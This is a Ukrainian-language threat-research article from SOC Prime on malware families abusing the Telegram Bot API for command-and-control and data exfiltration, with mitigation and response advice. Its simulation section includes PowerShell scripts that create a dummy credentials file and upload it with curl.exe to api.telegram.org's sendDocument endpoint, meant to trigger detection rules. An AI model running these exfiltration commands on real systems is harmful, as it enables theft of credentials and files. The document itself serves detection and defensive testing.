SOC Prime Bias: Середній

17 Dec 2025 14:33 UTC

Хроніки виявлення та реагування: дослідження зловживання Telegram

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Стежити
Хроніки виявлення та реагування: дослідження зловживання Telegram
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Стаття пояснює, як кілька зловмисників використовують Bot API і канали Telegram в корпоративному середовищі для командування та управління, ексфільтрації даних і моніторингу жертв. Сімейства шкідливих програм, включаючи DeerStealer, Lumma Stealer, Raven Stealer і троянізований збирач XWorm, жорстко кодують токени ботів або IDs каналів і звертаються до кінцевих точок, таких як /sendMessage і /sendDocument. Це включає запити для виявлення Microsoft Defender і Sentinel, зосереджені на підозрілих рядках команд процесу і трафіку до api.telegram.org. Основний напрямок – створити базове використання Telegram і блокувати API там, де він не потрібен.

Дослідження

SOC NVISO повідомили про чотири спроби вторгнення в період з жовтня 2025 року по березень 2025 року, коли Telegram використовувався на різних етапах життєвого циклу атаки. У статті висвітлюються такі кампанії, як спостереження Lunar Spider за жертвами через підроблені CAPTCHA-приманки, DeerStealer, що надсилає повідомлення операторам через curl, Lumma Stealer, що отримує деталі C2 з каналів Telegram, Raven Stealer, що ексфільтрує архівовані колекції, і зборщик XWorm, що покладається на Bot API як для ексфільтрації, так і для C2. Аналітики вивели індикатори, включаючи командні рядки процесів, цільові мережні адреси та відповідні імена файлів.

Мітигація

Встановіть базове використання Telegram, а потім блокуйте вихідний доступ до api.telegram.org в середовищах, де це не потрібно. Стежте за незвичними процесами (наприклад, curl, powershell, wscript), що ініціюють з’єднання з API, та досліджуйте будь-які сценарії взаємодії з Bot API. Налаштуйте виявлення, щоб придушити очікувану поведінку, таку як запуск telegram.exe, і пріоритизуйте довготривалі або вебхук-запити, що походять від підозрілих бінарних файлів або несподіваних хостів.

Відповідь

Коли діяльність виявлено, ізолюйте постраждалий кінцевий пункт, зупиніть підозрілі процеси та збережіть аргументи командного рядка разом з телеметрією DNS, проксі та мережі. Проведіть поглиблену судову експертизу, щоб ідентифікувати подальші корисні навантаження, пов’язані з кампаніями, такими як DeerStealer або Raven Stealer. Замініть будь-які скомпрометовані токени ботів, вимкніть або анулюйте зловжиті канали Telegram та стримуйте поширення, блокуючи пов’язані індикатори. Якщо зловживання підтверджено, підніміть звітність через офіційні канали Telegram та задокументуйте інцидент, щоб запобігти повторному виникненню.

Потік Атаки

Виконання симуляції

Попередньо необхідна перевірка телеметрії та базового стану повинна пройти.

Підстава: цей розділ описує точне виконання техніки супротивника (TTP), розробленої для запуску правила виявлення. Команди і наратив МАЮТЬ точно відобразити відзначені TTP і мають на меті створити саме ту телеметрію, яку очікує виявлення логіки.

  • Опис атаки та команди:
    Зловмисник з скомпрометованим хостом Windows бажає ексфільтрувати зібраний файл з обліковими даними (creds.txt) до боту Telegram, яким він керують. Щоб уникнути зберігання користувацької програми, вони використовують вбудований curl.exe (встановлений як додаткова функція Windows 10) для POST файлу на https://api.telegram.org/bot<ATTACKER_TOKEN>/sendDocument. Команда виконується з PowerShell, щоб забезпечити запис події створення процесу з командним рядком, що містить “api.telegram.org”. Оскільки процес curl.exe, фільтр правила (InitiatingProcessFileName: "telegram.exe") не придушує сповіщення.

    # Змінні (замініть на значення, що контролюються зловмисником)
    $BotToken = "123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11"
    $ChatID   = "987654321"
    $FilePath = "C:Tempcreds.txt"
    
    # Переконайтеся, що файл існує (сімулюваний дамп облікових даних)
    Set-Content -Path $FilePath -Value "username: admin`npassword: P@ssw0rd!"
    
    # Виконати ексфільтрацію через Bot API Telegram
    $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID"
    curl.exe -X POST -F "document=@$FilePath" $Url
  • Сценарій регресійного тесту: Нижче наведений сценарій відтворює точні кроки, придатні для автоматизованих запусків BAS.

    #--------------------------------------------
    # Регресійний тест – ексфільтрація через API Telegram
    #--------------------------------------------
    param(
        [string]$BotToken = "REPLACE_WITH_TOKEN",
        [string]$ChatID   = "REPLACE_WITH_CHATID",
        [string]$TmpDir   = "$env:TEMPTelegramBAS"
    )
    
    # Створити тимчасовий робочий простір
    New-Item -ItemType Directory -Path $TmpDir -Force | Out-Null
    
    # Симульований файл з обліковими даними
    $CredFile = Join-Path $TmpDir "creds.txt"
    "username: admin`npassword: P@ssw0rd!" | Set-Content -Path $CredFile
    
    # Збір API URL
    $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID"
    
    # Виклик ексфільтрації
    Write-Host "[*] Відправка $CredFile до Telegram..."
    curl.exe -X POST -F "document=@$CredFile" $Url
    
    # Проста індикація успіху (не перевіряє доставку)
    if ($LASTEXITCODE -eq 0) {
        Write-Host "[+] Команда ексфільтрації виконана."
    } else {
        Write-Error "[-] Ексфільтрація не вдалася."
    }
  • Команди очищення: Видаліть тимчасовий файл і директорію; за бажанням завершіть будь-які залишкові curl.exe процеси.

    # Очищення тимчасових артефактів
    Stop-Process -Name "curl" -ErrorAction SilentlyContinue
    Remove-Item -Path $TmpDir -Recurse -Force
    Write-Host "[*] Очистка завершена."